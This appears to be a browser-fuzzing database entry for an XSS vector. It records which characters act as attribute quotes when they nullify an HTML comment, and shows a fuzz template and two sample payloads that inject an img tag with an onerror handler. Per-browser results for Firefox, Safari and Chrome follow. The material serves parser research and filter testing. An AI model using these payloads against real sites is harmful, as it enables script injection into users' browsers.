Characters that act as attribute quotes copy

Firefox logo 2
Safari logo 2
Chrome logo 2

This vector shows which characters act like quotes by nullifying a HTML comment.

Created by: freddyb

Created on: Friday, May 31, 2024 at 12:23:52 PM

Updated on: Thursday, November 21, 2024 at 7:58:36 AM

Vector type: XSS

Vector charset: UTF-8

Template used:
<div a=$[chr]><!-- $[chr]></div><img src=x:x onerror=log($[i]) -->
Your browser was detected as:
Detecting... Detecting... Detecting... Detecting...

Sample payloads

<div a="><!-- "></div><img src=x:x onerror=alert(34) -->
<div a='><!-- '></div><img src=x:x onerror=alert(39) -->

Fuzz results

Firefox logo
Firefox 128.0 desktop macOS 10.15

Updated

Fri May 31 2024
Found 2 results
Loading...
Safari logo
Safari 17.4 desktop macOS 10.15.7

Updated

Fri May 31 2024
Found 2 results
Loading...
Chrome logo
Chrome 127.0.0.0 desktop macOS 10.15.7

Updated

Fri May 31 2024
Found 2 results
Loading...